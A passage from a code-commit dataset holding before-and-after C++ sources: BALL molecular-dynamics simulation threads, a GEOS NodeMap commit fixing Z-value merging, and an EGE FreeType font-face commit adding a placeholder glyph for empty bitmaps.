String(\"Calculation aborted because of throwed exception: \")\n\t\t\t\t\t\t\t\t\t\t\t+ __FILE__ + \" \" + __LINE__ + \" \" + e.getMessage();\n\t\t\t\toutput_(txt);\n\t\t\t\tfinish_();\n\t\t\t}\n\t\t}\n\n\n\t\tMDSimulationThread::MDSimulationThread()\n\t\t\t: SimulationThread(),\n\t\t\t\tmd_(0),\n\t\t\t\tsave_images_(false)\n\t\t{\n\t\t}\n\n\t\tMDSimulationThread::~MDSimulationThread()\n\t\t{\n\t\t\tif (md_ != 0)\n\t\t\t{ \n\t\t\t\tdelete md_;\n\t\t\t}\n\t\t}\n\n\n\t\tvoid MDSimulationThread::setMolecularDynamics(MolecularDynamics* md)\n\t\t{ \n\t\t\tif (md_ != 0)\n\t\t\t{\n\t\t\t\tdelete md_;\n\t\t\t}\n\t\t\t\n\t\t\tmd_ = md;\n\t\t}\n\n\t} \/\/ namespace VIEW\n} \/\/ namespace BALL\n\n#endif \/\/Thread support\n<commit_msg>no message<commit_after>\/\/ Do nothing, if no thread support\n\n#include <BALL\/VIEW\/KERNEL\/threads.h>\n#ifdef BALL_QT_HAS_THREADS\n\n#include <BALL\/VIEW\/MODELS\/modelProcessor.h>\n#include <BALL\/VIEW\/MODELS\/colorProcessor.h>\n#include <BALL\/VIEW\/KERNEL\/mainControl.h>\n#include <BALL\/MOLMEC\/COMMON\/forceField.h>\n#include <BALL\/MOLMEC\/MINIMIZATION\/energyMinimizer.h>\n#include <BALL\/MOLMEC\/MDSIMULATION\/molecularDynamics.h>\n#include <BALL\/VIEW\/WIDGETS\/scene.h>\n#include <BALL\/MOLMEC\/COMMON\/snapShotManager.h>\n\n#include <qapplication.h>\n\nnamespace BALL\n{\n\tnamespace VIEW\n\t{\n\n\t\tFetchHTMLThread::FetchHTMLThread()\n\t\t\tthrow()\n\t\t\t: QThread()\n\t\t{\n\t\t}\n\n\t\tvoid FetchHTMLThread::setURL(const String& url)\n\t\t\tthrow()\n\t\t{\n\t\t\turl_ = url;\n\t\t}\n\n\t\tconst String& FetchHTMLThread::getFilename() const\n\t\t\tthrow()\n\t\t{\n\t\t\treturn filename_;\n\t\t}\n\n\t\tvoid FetchHTMLThread::run()\n\t\t{\n\t\t\tif (url_ == \"\") return;\n\t\t\ttry\n\t\t\t{\n\t\t\t\tFile f(url_);\n\t\t\t\tFile::createTemporaryFilename(filename_);\n\t\t\t\tf.copyTo(filename_);\n\t\t\t}\n\t\t\tcatch(...)\n\t\t\t{}\n\t\t}\n\n\t\t\/\/ ==========================================\n\t\t\n\t\tUpdateRepresentationThread::UpdateRepresentationThread()\n\t\t\tthrow() \n\t\t\t: QThread(),\n\t\t\t\trep_(0)\n\t\t{\n\t\t}\n\n\t\tvoid UpdateRepresentationThread::run()\n\t\t{\n\t\t\tif (rep_ == 0) return;\n\t\t\trep_->update_(rebuild_);\n\t\t}\n\n\n\t\tSimulationThread::SimulationThread()\n\t\t\t: QThread(),\n\t\t\t\tmain_control_(0),\n\t\t\t\tdcd_file_(0),\n\t\t\t\tcomposite_(0),\n\t\t\t\tupdate_vis_running_(false)\n\t\t{\n\t\t}\n\n\t\tvoid SimulationThread::run()\n\t\t{\n\t\t\t\/\/ overloaded in derived classes\n\t\t}\n\n\t\tvoid SimulationThread::updateScene_()\n\t\t{\n\t\t\tif (main_control_->stopedSimulation()) \n\t\t\t{\n\t\t\t\tupdate_vis_running_ = false;\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tupdate_vis_running_ = true;\n\t\t\t\/\/ notify MainControl to update all Representations for the Composite\n\t\t\tUpdateCompositeEvent* se = new UpdateCompositeEvent;\n\t\t\tse->setComposite(composite_);\n\t\t\tqApp->postEvent(main_control_, se);\n\t\t}\n\n\t\tvoid SimulationThread::output_(const String& string)\n\t\t{\n\t\t\tif (main_control_->stopedSimulation()) return;\n\n\t\t\tSimulationOutput* su = new SimulationOutput;\n\t\t\tsu->setMessage(string);\n\t\t\tqApp->postEvent(main_control_, su);  \/\/ Qt will delete it when done\n\t\t}\n\n\t\tvoid SimulationThread::finish_()\n\t\t{\n\t\t\tSimulationThreadFinished* su = new SimulationThreadFinished;\n\t\t\tqApp->postEvent(main_control_, su);  \/\/ Qt will delete it when done\n\t\t}\n\n\t\tvoid EnergyMinimizerThread::run()\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tif (minimizer_ == 0 ||\n\t\t\t\t\t\tminimizer_->getForceField() == 0 || \n\t\t\t\t\t\tminimizer_->getForceField()->getSystem() == 0 ||\n\t\t\t\t\t\tmain_control_ == 0)\n\t\t\t\t{\n\t\t\t\t\tthrow Exception::NullPointer(__FILE__, __LINE__);\n\t\t\t\t}\n\t\t\t\tForceField& ff = *minimizer_->getForceField();\n\n\t\t\t\t\/\/ iterate until done and refresh the screen every \"steps\" iterations\n\t\t\t\twhile (!main_control_->stopedSimulation() &&\n\t\t\t\t\t\t\t\tminimizer_->getNumberOfIterations() < minimizer_->getMaxNumberOfIterations() &&\n\t\t\t\t\t\t\t !minimizer_->minimize(steps_between_updates_, true))\n\t\t\t\t{\n\t\t\t\t\tupdateScene_();\n\n\t\t\t\t\tQString message;\n\t\t\t\t\tmessage.sprintf(\"Iteration %d: energy = %f kJ\/mol, RMS gradient = %f kJ\/mol A\", \n\t\t\t\t\t\t\t\t\t\t\t\t\tminimizer_->getNumberOfIterations(), \n\t\t\t\t\t\t\t\t\t\t\t\t\tff.getEnergy(), ff.getRMSGradient());\n\t\t\t\t\toutput_(message.ascii());\n\n\t\t\t\t\t\/\/ prevent continuation of simulation, before update of visualisation has finished\n\t\t\t\t\twhile (update_vis_running_ && !main_control_->stopedSimulation()) msleep(10);\n\t\t\t\t}\n\n\t\t\t\tupdateScene_();\n\n\t\t\t\toutput_(ff.getResults());\n\t\t\t\toutput_(\"final RMS gadient    : \" + String(ff.getRMSGradient()) + \" kJ\/(mol A)   after \" \n\t\t\t\t\t\t\t\t+ String(minimizer_->getNumberOfIterations()) + \" iterations\\n\");\n\t\t\t\tfinish_();\n\t\t\t}\n\t\t\tcatch(Exception::GeneralException e)\n\t\t\t{\n\t\t\t\tString txt = String(\"Calculation aborted because of throwed exception: \")\n\t\t\t\t\t\t\t\t\t\t\t+ __FILE__ + \" \" + __LINE__ + \" \" + e.getMessage();\n\t\t\t\toutput_(txt);\n\t\t\t\tfinish_();\n\t\t\t}\n\t\t}\n\n\t\tEnergyMinimizerThread::EnergyMinimizerThread()\n\t\t\t: SimulationThread(),\n\t\t\t\tminimizer_(0)\n\t\t{\n\t\t}\n\n\t\tEnergyMinimizerThread::~EnergyMinimizerThread()\n\t\t{\n\t\t\tif (minimizer_ != 0)\n\t\t\t{\n\t\t\t\tdelete minimizer_;\n\t\t\t}\n\t\t}\n\n\t\tvoid EnergyMinimizerThread::setEnergyMinimizer(EnergyMinimizer* minimizer) \n\t\t{ \n\t\t\tif (minimizer_ != 0)\n\t\t\t{\n\t\t\t\tdelete minimizer_;\n\t\t\t}\n\t\t\tminimizer_ = minimizer;\n\t\t}\n\n\t\t\/\/ =====================================================\n\t\tvoid MDSimulationThread::run()\n\t\t\tthrow(Exception::NullPointer)\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tif (md_ == 0 ||\n\t\t\t\t\t\tmd_->getForceField() == 0 || \n\t\t\t\t\t\tmd_->getForceField()->getSystem() == 0 || \n\t\t\t\t\t\tmain_control_ == 0)\n\t\t\t\t{\n\t\t\t\t\tthrow Exception::NullPointer(__FILE__, __LINE__);\n\t\t\t\t}\n\t\t\t\tForceField& ff = *md_->getForceField();\n\n\t\t\t\tSnapShotManager manager(ff.getSystem(), &ff, dcd_file_);\n\t\t\t\tmanager.setFlushToDiskFrequency(10);\n\t\t\t\t\/\/ iterate until done and refresh the screen every \"steps\" iterations\n\t\t\t\t\n\t\t\t\twhile (md_->getNumberOfIterations() < steps_ &&\n\t\t\t\t\t\t\t !main_control_->stopedSimulation())\n\t\t\t\t{\n\t\t\t\t\t\/\/ prevent continuation of simulation, before update of visualisation has finished\n\t\t\t\t\twhile (update_vis_running_ && !main_control_->stopedSimulation()) msleep(10);\n\n\t\t\t\t\tmd_->simulateIterations(steps_between_updates_, true);\n\t\t\t\t\tupdateScene_();\n\n\t\t\t\t\tQString message;\n\t\t\t\t\tmessage.sprintf(\"Iteration %d: energy = %f kJ\/mol, RMS gradient = %f kJ\/mol A\", \n\t\t\t\t\t\t\t\t\t\t\t\t\tmd_->getNumberOfIterations(), ff.getEnergy(),\n\t\t\t\t\t\t\t\t\t\t\t\t\tff.getRMSGradient());\n\t\t\t\t\toutput_(message.ascii());\n\t\t\t\t\t\n\t\t\t\t\tif (save_images_) \n\t\t\t\t\t{\n\t\t\t\t\t\tScene* scene= (Scene*) Scene::getInstance(0);\n\t\t\t\t\t\tscene->exportPNG();\n\t\t\t\t\t}\n\n\t\t\t\t\tif (dcd_file_) manager.takeSnapShot();\n\t\t\t\t}\n\n\t\t\t\tupdateScene_();\n\n\t\t\t\tif (dcd_file_) manager.flushToDisk();\n\n \t\t\t\toutput_(ff.getResults());\n\t\t\t\toutput_(\"final RMS gadient    : \" + String(ff.getRMSGradient()) + \" kJ\/(mol A)   after \" \n\t\t\t\t\t\t\t\t+ String(md_->getNumberOfIterations()) + \" iterations\\n\");\n\t\t\t\tfinish_();\n\t\t\t}\n\t\t\tcatch(Exception::GeneralException e)\n\t\t\t{\n\t\t\t\tString txt = String(\"Calculation aborted because of throwed exception: \")\n\t\t\t\t\t\t\t\t\t\t\t+ __FILE__ + \" \" + __LINE__ + \" \" + e.getMessage();\n\t\t\t\toutput_(txt);\n\t\t\t\tfinish_();\n\t\t\t}\n\t\t}\n\n\n\t\tMDSimulationThread::MDSimulationThread()\n\t\t\t: SimulationThread(),\n\t\t\t\tmd_(0),\n\t\t\t\tsave_images_(false)\n\t\t{\n\t\t}\n\n\t\tMDSimulationThread::~MDSimulationThread()\n\t\t{\n\t\t\tif (md_ != 0)\n\t\t\t{ \n\t\t\t\tdelete md_;\n\t\t\t}\n\t\t}\n\n\n\t\tvoid MDSimulationThread::setMolecularDynamics(MolecularDynamics* md)\n\t\t{ \n\t\t\tif (md_ != 0)\n\t\t\t{\n\t\t\t\tdelete md_;\n\t\t\t}\n\t\t\t\n\t\t\tmd_ = md;\n\t\t}\n\n\t} \/\/ namespace VIEW\n} \/\/ namespace BALL\n\n#endif \/\/Thread support\n<|endoftext|>"}
{"text":"<commit_before>\/**********************************************************************\n * $Id$\n *\n * GEOS - Geometry Engine Open Source\n * http:\/\/geos.refractions.net\n *\n * Copyright (C) 2001-2002 Vivid Solutions Inc.\n *\n * This is free software; you can redistribute and\/or modify it under\n * the terms of the GNU Lesser General Public Licence as published\n * by the Free Software Foundation. \n * See the COPYING file for more information.\n *\n **********************************************************************\/\n\n#include <geos\/geomgraph.h>\n\n#define DEBUG 0\n\nnamespace geos {\n\nNodeMap::NodeMap(NodeFactory *newNodeFact)\n{\n#if DEBUG\n\tcerr<<\"[\"<<this<<\"] NodeMap::NodeMap\"<<endl;\n#endif\n\tnodeFact=newNodeFact;\n\tnodeMap=new map<Coordinate,Node*,CoordLT>();\n}\n\nNodeMap::~NodeMap()\n{\n\tmap<Coordinate,Node*,CoordLT>::iterator\tit=nodeMap->begin();\n\tfor (;it!=nodeMap->end();it++) {\n\t\tNode *node=it->second;\n\t\tdelete node;\n\t}\n\tdelete nodeMap;\n\tdelete nodeFact;\n}\n\nNode*\nNodeMap::addNode(const Coordinate& coord)\n{\n#if DEBUG\n\tcerr<<\"[\"<<this<<\"] NodeMap::addNode(\"<<coord.toString()<<\")\";\n#endif\n\tNode *node=find(coord);\n\tif (node==NULL) {\n#if DEBUG\n\t\tcerr<<\" is new\"<<endl;\n#endif\n\t\tnode=nodeFact->createNode(coord);\n\t\t(*nodeMap)[coord]=node;\n\t}\n\telse\n\t{\n#if DEBUG\n\t\tcerr<<\" already found (\"<<node->getCoordinate().toString()<<\") - adding Z\"<<endl;\n#endif\n\t\tnode->addZ(coord.z);\n\t}\n\treturn node;\n}\n\n\/\/ first arg cannot be const because\n\/\/ it is liable to label-merging ... --strk;\nNode*\nNodeMap::addNode(Node *n)\n{\n#if DEBUG\n\tcerr<<\"[\"<<this<<\"] NodeMap::addNode(\"<<n->print()<<\")\";\n#endif\n\tNode *node=find(n->getCoordinate());\n\tif (node==NULL) {\n#if DEBUG\n\t\tcerr<<\" is new\"<<endl;\n#endif\n\t\t(*nodeMap)[n->getCoordinate()]=n;\n\t\treturn n;\n\t}\n#if DEBUG\n\telse\n\t{\n\t\tcerr<<\" found already, merging label\"<<endl;\n\t}\n#endif \/\/ DEBUG\n\tnode->mergeLabel(n);\n\treturn node;\n}\n\nvoid\nNodeMap::add(EdgeEnd *e)\n{\n\tCoordinate& p=e->getCoordinate();\n\tNode *n=addNode(p);\n\tn->add(e);\n}\n\n\/*\n * @return the node if found; null otherwise\n *\/\nNode*\nNodeMap::find(const Coordinate& coord) const\n{\n\tmap<Coordinate,Node*,CoordLT>::iterator found=nodeMap->find(coord);\n\tif (found==nodeMap->end())\n\t\treturn NULL;\n\telse\n\t\treturn found->second;\n}\n\nmap<Coordinate,Node*,CoordLT>::iterator\nNodeMap::iterator() const\n{\n\treturn nodeMap->begin();\n}\n\n\/\/Doesn't work yet. Use iterator.\n\/\/public Collection NodeMap::values(){\n\/\/\treturn nodeMap.values();\n\/\/}\n\nvector<Node*>*\nNodeMap::getBoundaryNodes(int geomIndex) const\n{\n\tvector<Node*>* bdyNodes=new vector<Node*>();\n\tmap<Coordinate,Node*,CoordLT>::iterator\tit=nodeMap->begin();\n\tfor (;it!=nodeMap->end();it++) {\n\t\tNode *node=it->second;\n\t\tif (node->getLabel()->getLocation(geomIndex)==Location::BOUNDARY)\n\t\t\tbdyNodes->push_back(node);\n\t}\n\treturn bdyNodes;\n}\n\nstring\nNodeMap::print() const\n{\n\tstring out=\"\";\n\tmap<Coordinate,Node*,CoordLT>::iterator\tit=nodeMap->begin();\n\tfor (;it!=nodeMap->end();it++) {\n\t\tNode *node=it->second;\n\t\tout+=node->print();\n\t}\n\treturn out;\n}\n\n}\n\n\/**********************************************************************\n * $Log$\n * Revision 1.4  2004\/11\/20 15:41:41  strk\n * Added Z merging in ::addNode\n *\n * Revision 1.3  2004\/10\/21 22:29:54  strk\n * Indentation changes and some more COMPUTE_Z rules\n *\n * Revision 1.2  2004\/07\/02 13:28:26  strk\n * Fixed all #include lines to reflect headers layout change.\n * Added client application build tips in README.\n *\n * Revision 1.1  2004\/03\/19 09:48:45  ybychkov\n * \"geomgraph\" and \"geomgraph\/indexl\" upgraded to JTS 1.4\n *\n * Revision 1.12  2003\/11\/07 01:23:42  pramsey\n * Add standard CVS headers licence notices and copyrights to all cpp and h\n * files.\n *\n *\n **********************************************************************\/\n\n<commit_msg>Fixed Z merging in addNode(Node *)<commit_after>\/**********************************************************************\n * $Id$\n *\n * GEOS - Geometry Engine Open Source\n * http:\/\/geos.refractions.net\n *\n * Copyright (C) 2001-2002 Vivid Solutions Inc.\n *\n * This is free software; you can redistribute and\/or modify it under\n * the terms of the GNU Lesser General Public Licence as published\n * by the Free Software Foundation. \n * See the COPYING file for more information.\n *\n **********************************************************************\/\n\n#include <geos\/geomgraph.h>\n\n#define DEBUG 0\n\nnamespace geos {\n\nNodeMap::NodeMap(NodeFactory *newNodeFact)\n{\n#if DEBUG\n\tcerr<<\"[\"<<this<<\"] NodeMap::NodeMap\"<<endl;\n#endif\n\tnodeFact=newNodeFact;\n\tnodeMap=new map<Coordinate,Node*,CoordLT>();\n}\n\nNodeMap::~NodeMap()\n{\n\tmap<Coordinate,Node*,CoordLT>::iterator\tit=nodeMap->begin();\n\tfor (;it!=nodeMap->end();it++) {\n\t\tNode *node=it->second;\n\t\tdelete node;\n\t}\n\tdelete nodeMap;\n\tdelete nodeFact;\n}\n\nNode*\nNodeMap::addNode(const Coordinate& coord)\n{\n#if DEBUG\n\tcerr<<\"[\"<<this<<\"] NodeMap::addNode(\"<<coord.toString()<<\")\";\n#endif\n\tNode *node=find(coord);\n\tif (node==NULL) {\n#if DEBUG\n\t\tcerr<<\" is new\"<<endl;\n#endif\n\t\tnode=nodeFact->createNode(coord);\n\t\t(*nodeMap)[coord]=node;\n\t}\n\telse\n\t{\n#if DEBUG\n\t\tcerr<<\" already found (\"<<node->getCoordinate().toString()<<\") - adding Z\"<<endl;\n#endif\n\t\tnode->addZ(coord.z);\n\t}\n\treturn node;\n}\n\n\/\/ first arg cannot be const because\n\/\/ it is liable to label-merging ... --strk;\nNode*\nNodeMap::addNode(Node *n)\n{\n#if DEBUG\n\tcerr<<\"[\"<<this<<\"] NodeMap::addNode(\"<<n->print()<<\")\";\n#endif\n\tNode *node=find(n->getCoordinate());\n\tif (node==NULL) {\n#if DEBUG\n\t\tcerr<<\" is new\"<<endl;\n#endif\n\t\t(*nodeMap)[n->getCoordinate()]=n;\n\t\treturn n;\n\t}\n#if DEBUG\n\telse\n\t{\n\t\tcerr<<\" found already, merging label\"<<endl;\n\t\tconst vector<double>&zvals = n->getZ();\n\t\tfor (unsigned int i=0; i<zvals.size(); i++)\n\t\t{\n\t\t\tnode->addZ(zvals[i]);\n\t\t}\n\t}\n#endif \/\/ DEBUG\n\tnode->mergeLabel(n);\n\treturn node;\n}\n\nvoid\nNodeMap::add(EdgeEnd *e)\n{\n\tCoordinate& p=e->getCoordinate();\n\tNode *n=addNode(p);\n\tn->add(e);\n}\n\n\/*\n * @return the node if found; null otherwise\n *\/\nNode*\nNodeMap::find(const Coordinate& coord) const\n{\n\tmap<Coordinate,Node*,CoordLT>::iterator found=nodeMap->find(coord);\n\tif (found==nodeMap->end())\n\t\treturn NULL;\n\telse\n\t\treturn found->second;\n}\n\nmap<Coordinate,Node*,CoordLT>::iterator\nNodeMap::iterator() const\n{\n\treturn nodeMap->begin();\n}\n\n\/\/Doesn't work yet. Use iterator.\n\/\/public Collection NodeMap::values(){\n\/\/\treturn nodeMap.values();\n\/\/}\n\nvector<Node*>*\nNodeMap::getBoundaryNodes(int geomIndex) const\n{\n\tvector<Node*>* bdyNodes=new vector<Node*>();\n\tmap<Coordinate,Node*,CoordLT>::iterator\tit=nodeMap->begin();\n\tfor (;it!=nodeMap->end();it++) {\n\t\tNode *node=it->second;\n\t\tif (node->getLabel()->getLocation(geomIndex)==Location::BOUNDARY)\n\t\t\tbdyNodes->push_back(node);\n\t}\n\treturn bdyNodes;\n}\n\nstring\nNodeMap::print() const\n{\n\tstring out=\"\";\n\tmap<Coordinate,Node*,CoordLT>::iterator\tit=nodeMap->begin();\n\tfor (;it!=nodeMap->end();it++) {\n\t\tNode *node=it->second;\n\t\tout+=node->print();\n\t}\n\treturn out;\n}\n\n}\n\n\/**********************************************************************\n * $Log$\n * Revision 1.5  2004\/11\/20 15:45:47  strk\n * Fixed Z merging in addNode(Node *)\n *\n * Revision 1.4  2004\/11\/20 15:41:41  strk\n * Added Z merging in ::addNode\n *\n * Revision 1.3  2004\/10\/21 22:29:54  strk\n * Indentation changes and some more COMPUTE_Z rules\n *\n * Revision 1.2  2004\/07\/02 13:28:26  strk\n * Fixed all #include lines to reflect headers layout change.\n * Added client application build tips in README.\n *\n * Revision 1.1  2004\/03\/19 09:48:45  ybychkov\n * \"geomgraph\" and \"geomgraph\/indexl\" upgraded to JTS 1.4\n *\n * Revision 1.12  2003\/11\/07 01:23:42  pramsey\n * Add standard CVS headers licence notices and copyrights to all cpp and h\n * files.\n *\n *\n **********************************************************************\/\n\n<|endoftext|>"}
{"text":"<commit_before>#include <ege\/graphic\/font\/face.hxx>\n#include <ege\/engine.hxx>\n#include <ege\/exception.hxx>\n#include <ege\/graphic\/gpu\/texture\/texture-rectangle.hxx>\n#include <ege\/graphic\/gpu\/texture\/util\/dynamic-atlas.hxx>\n#include <ft2build.h>\n#include FT_FREETYPE_H\n\n\nusing namespace ege::graphic::font;\nusing namespace ege::graphic::gpu;\nusing namespace ege;\n\n\nclass StandAloneGlyph: public Glyph\n{\n        public:\n                StandAloneGlyph( texture::util::ImageBuffer* image, FT_GlyphSlot glyph );\n                virtual ~StandAloneGlyph();\n};\n\n\nclass AtlasGlyph: public Glyph\n{\n        private:\n                texture::util::DynamicAtlas& atlas;\n\n        public:\n                AtlasGlyph( texture::util::ImageBuffer* image, FT_GlyphSlot glyph, texture::util::DynamicAtlas& atlas );\n                virtual ~AtlasGlyph();\n};\n\n\nstatic bool initialized = false;\nstatic FT_Library library;\n\n\nstruct Face::Private\n{\n        FT_Face face;\n};\n\n\nstatic const char* getFTErrorMessage( FT_Error error )\n{\n        #undef __FTERRORS_H__\n        #define FT_ERRORDEF( e, v, s )  case e: return s;\n        #define FT_ERROR_START_LIST     switch ( error ) {\n        #define FT_ERROR_END_LIST       }\n        #include FT_ERRORS_H\n        return \"unknown error\";\n}\n\n\nstatic bool createImageFor( FT_Face face, unsigned int size, unsigned int charcode, texture::util::ImageBuffer** imageBuffer, FT_GlyphSlot* glyphSlot )\n{\n        FT_Set_Pixel_Sizes( face, 0, size );\n        FT_UInt index = FT_Get_Char_Index( face, charcode );\n\n        if ( index == 0 )\n                return false;\n\n        FT_Load_Glyph( face, index, 0 );\n        FT_GlyphSlot glyph = face->glyph;\n        *glyphSlot = face->glyph;\n        FT_Render_Glyph( glyph, FT_RENDER_MODE_NORMAL );\n        FT_Bitmap bitmap = glyph->bitmap;\n\n        unsigned int pixelsSize = bitmap.rows * bitmap.width * 4;\n        unsigned char* pixels = new unsigned char[ pixelsSize ];\n\n        for ( unsigned int y = 0; y < bitmap.rows; ++y )\n        {\n                unsigned char* row = &pixels[ 4 * bitmap.width * y ];\n                unsigned char* buffer_row = &bitmap.buffer[ bitmap.width * ( bitmap.rows - y - 1 ) ];\n\n                for ( unsigned x = 0; x < bitmap.width; ++x )\n                {\n                        unsigned offset = x << 2;\n\n                        if ( buffer_row[ x ] == 0 )\n                        {\n                                row[ offset + 0 ] = 0;\n                                row[ offset + 1 ] = 0;\n                                row[ offset + 2 ] = 0;\n                        }\n                        else\n                        {\n                                row[ offset + 0 ] = 255;\n                                row[ offset + 1 ] = 255;\n                                row[ offset + 2 ] = 255;\n                        }\n\n                        row[ offset + 3 ] = buffer_row[ x ];\n                }\n        }\n\n        using namespace buffer::usage;\n        using namespace texture::util;\n        std::shared_ptr< Buffer > buffer( new Buffer( pixelsSize, Frequency::STREAM, Nature::READ, pixels ) );\n        delete pixels;\n        *imageBuffer = new ImageBuffer( bitmap.width, bitmap.rows, imageBuffer::Format::RGBA, buffer );\n        return true;\n}\n\n\nStandAloneGlyph::StandAloneGlyph( texture::util::ImageBuffer* image, FT_GlyphSlot glyph ):\n        Glyph( glyph -> bitmap_left, glyph -> bitmap_top, ( float ) glyph -> advance.x \/ 64.0f,\n               new texture::util::RectangularRegion( *new texture::TextureRectangle( *image ) ) )\n{\n\n}\n\n\nStandAloneGlyph::~StandAloneGlyph()\n{\n        delete &region->texture;\n        delete region;\n}\n\n\nAtlasGlyph::AtlasGlyph( texture::util::ImageBuffer* image, FT_GlyphSlot glyph, texture::util::DynamicAtlas& atlas ):\n        Glyph( glyph -> bitmap_left, glyph -> bitmap_top, ( float ) glyph -> advance.x \/ 64.0f,\n               atlas.insert( *image ) ), atlas( atlas )\n{\n\n}\n\n\nAtlasGlyph::~AtlasGlyph()\n{\n        atlas.remove( this->region );\n}\n\n\nFace::Face( const char* fileName ): _private( new Face::Private )\n{\n        FT_Error error = 0;\n\n        if ( !initialized )\n        {\n                error = FT_Init_FreeType( &library );\n\n                if ( error )\n                        Exception::throwNew( \"could not initialize FreeType: %s\", getFTErrorMessage( error ) );\n\n                initialized = true;\n        }\n\n        error = FT_New_Face( library, fileName, 0, &this->_private->face );\n\n        if ( error )\n                Exception::throwNew( \"could not load font face from file \\\"%s\\\": %s\", fileName, getFTErrorMessage( error ) );\n}\n\n\nFace::~Face()\n{\n        FT_Done_Face( this->_private->face );\n}\n\n\nGlyph* Face::createGlyph( unsigned int size, unsigned int charcode )\n{\n        texture::util::ImageBuffer* image;\n        FT_GlyphSlot glyph;\n\n        if( !createImageFor( this->_private->face, size, charcode, &image, &glyph ) )\n                return nullptr;\n\n        StandAloneGlyph* result = new StandAloneGlyph( image, glyph );\n        delete image;\n        return result;\n}\n\n\nGlyph* Face::createGlyph( unsigned int size, unsigned int charcode, gpu::texture::util::DynamicAtlas& atlas )\n{\n        texture::util::ImageBuffer* image;\n        FT_GlyphSlot glyph;\n\n        if( !createImageFor( this->_private->face, size, charcode, &image, &glyph ) )\n                return nullptr;\n\n        AtlasGlyph* result = new AtlasGlyph( image, glyph, atlas );\n        delete image;\n        return result;\n}\n<commit_msg>a fake glyph is created also for the space character<commit_after>#include <ege\/graphic\/font\/face.hxx>\n#include <ege\/engine.hxx>\n#include <ege\/exception.hxx>\n#include <ege\/graphic\/gpu\/texture\/texture-rectangle.hxx>\n#include <ege\/graphic\/gpu\/texture\/util\/dynamic-atlas.hxx>\n#include <ft2build.h>\n#include FT_FREETYPE_H\n\n\nusing namespace ege::graphic::font;\nusing namespace ege::graphic::gpu;\nusing namespace ege;\n\n\nclass StandAloneGlyph: public Glyph\n{\n        public:\n                StandAloneGlyph( texture::util::ImageBuffer* image, FT_GlyphSlot glyph );\n                virtual ~StandAloneGlyph();\n};\n\n\nclass AtlasGlyph: public Glyph\n{\n        private:\n                texture::util::DynamicAtlas& atlas;\n\n        public:\n                AtlasGlyph( texture::util::ImageBuffer* image, FT_GlyphSlot glyph, texture::util::DynamicAtlas& atlas );\n                virtual ~AtlasGlyph();\n};\n\n\nstatic bool initialized = false;\nstatic FT_Library library;\n\n\nstruct Face::Private\n{\n        FT_Face face;\n};\n\n\nstatic const char* getFTErrorMessage( FT_Error error )\n{\n        #undef __FTERRORS_H__\n        #define FT_ERRORDEF( e, v, s )  case e: return s;\n        #define FT_ERROR_START_LIST     switch ( error ) {\n        #define FT_ERROR_END_LIST       }\n        #include FT_ERRORS_H\n        return \"unknown error\";\n}\n\n\nstatic bool createImageFor( FT_Face face, unsigned int size, unsigned int charcode, texture::util::ImageBuffer** imageBuffer, FT_GlyphSlot* glyphSlot )\n{\n        FT_Set_Pixel_Sizes( face, 0, size );\n        FT_UInt index = FT_Get_Char_Index( face, charcode );\n\n        if ( index == 0 )\n                return false;\n\n        FT_Load_Glyph( face, index, 0 );\n        FT_GlyphSlot glyph = face->glyph;\n        *glyphSlot = face->glyph;\n        FT_Render_Glyph( glyph, FT_RENDER_MODE_NORMAL );\n        FT_Bitmap bitmap = glyph->bitmap;\n\n        unsigned int pixelsSize;\n        unsigned char* pixels;\n\n        if ( bitmap.rows == 0 && bitmap.width == 0 )\n        {\n                bitmap.rows = 1;\n                bitmap.width = 1;\n                pixelsSize = 4;\n                pixels = new unsigned char[ pixelsSize ];\n        }\n        else\n        {\n                pixelsSize = bitmap.rows * bitmap.width * 4;\n                pixels = new unsigned char[ pixelsSize ];\n\n                for ( unsigned int y = 0; y < bitmap.rows; ++y )\n                {\n                        unsigned char* row = &pixels[ 4 * bitmap.width * y ];\n                        unsigned char* buffer_row = &bitmap.buffer[ bitmap.width * ( bitmap.rows - y - 1 ) ];\n\n                        for ( unsigned x = 0; x < bitmap.width; ++x )\n                        {\n                                unsigned offset = x << 2;\n\n                                if ( buffer_row[ x ] == 0 )\n                                {\n                                        row[ offset + 0 ] = 0;\n                                        row[ offset + 1 ] = 0;\n                                        row[ offset + 2 ] = 0;\n                                }\n                                else\n                                {\n                                        row[ offset + 0 ] = 255;\n                                        row[ offset + 1 ] = 255;\n                                        row[ offset + 2 ] = 255;\n                                }\n\n                                row[ offset + 3 ] = buffer_row[ x ];\n                        }\n                }\n        }\n\n        using namespace buffer::usage;\n        using namespace texture::util;\n        std::shared_ptr< Buffer > buffer( new Buffer( pixelsSize, Frequency::STREAM, Nature::READ, pixels ) );\n        delete pixels;\n        *imageBuffer = new ImageBuffer( bitmap.width, bitmap.rows, imageBuffer::Format::RGBA, buffer );\n        return true;\n}\n\n\nStandAloneGlyph::StandAloneGlyph( texture::util::ImageBuffer* image, FT_GlyphSlot glyph ):\n        Glyph( glyph -> bitmap_left, glyph -> bitmap_top, ( float ) glyph -> advance.x \/ 64.0f,\n               new texture::util::RectangularRegion( *new texture::TextureRectangle( *image ) ) )\n{\n\n}\n\n\nStandAloneGlyph::~StandAloneGlyph()\n{\n        delete &region->texture;\n        delete region;\n}\n\n\nAtlasGlyph::AtlasGlyph( texture::util::ImageBuffer* image, FT_GlyphSlot glyph, texture::util::DynamicAtlas& atlas ):\n        Glyph( glyph -> bitmap_left, glyph -> bitmap_top, ( float ) glyph -> advance.x \/ 64.0f,\n               atlas.insert( *image ) ), atlas( atlas )\n{\n\n}\n\n\nAtlasGlyph::~AtlasGlyph()\n{\n        atlas.remove( this->region );\n}\n\n\nFace::Face( const char* fileName ): _private( new Face::Private )\n{\n        FT_Error error = 0;\n\n        if ( !initialized )\n        {\n                error = FT_Init_FreeType( &library );\n\n                if ( error )\n                        Exception::throwNew( \"could not initialize FreeType: %s\", getFTErrorMessage( error ) );\n\n                initialized = true;\n        }\n\n        error = FT_New_Face( library, fileName, 0, &this->_private->face );\n\n        if ( error )\n                Exception::throwNew( \"could not load font face from file \\\"%s\\\": %s\", fileName, getFTErrorMessage( error ) );\n}\n\n\nFace::~Face()\n{\n        FT_Done_Face( this->_private->face );\n}\n\n\nGlyph* Face::createGlyph( unsigned int size, unsigned int charcode )\n{\n        texture::util::ImageBuffer* image;\n        FT_GlyphSlot glyph;\n\n        if( !createImageFor( this->_private->face, size, charcode, &image, &glyph ) )\n                return nullptr;\n\n        StandAloneGlyph* result = new StandAloneGlyph( image, glyph 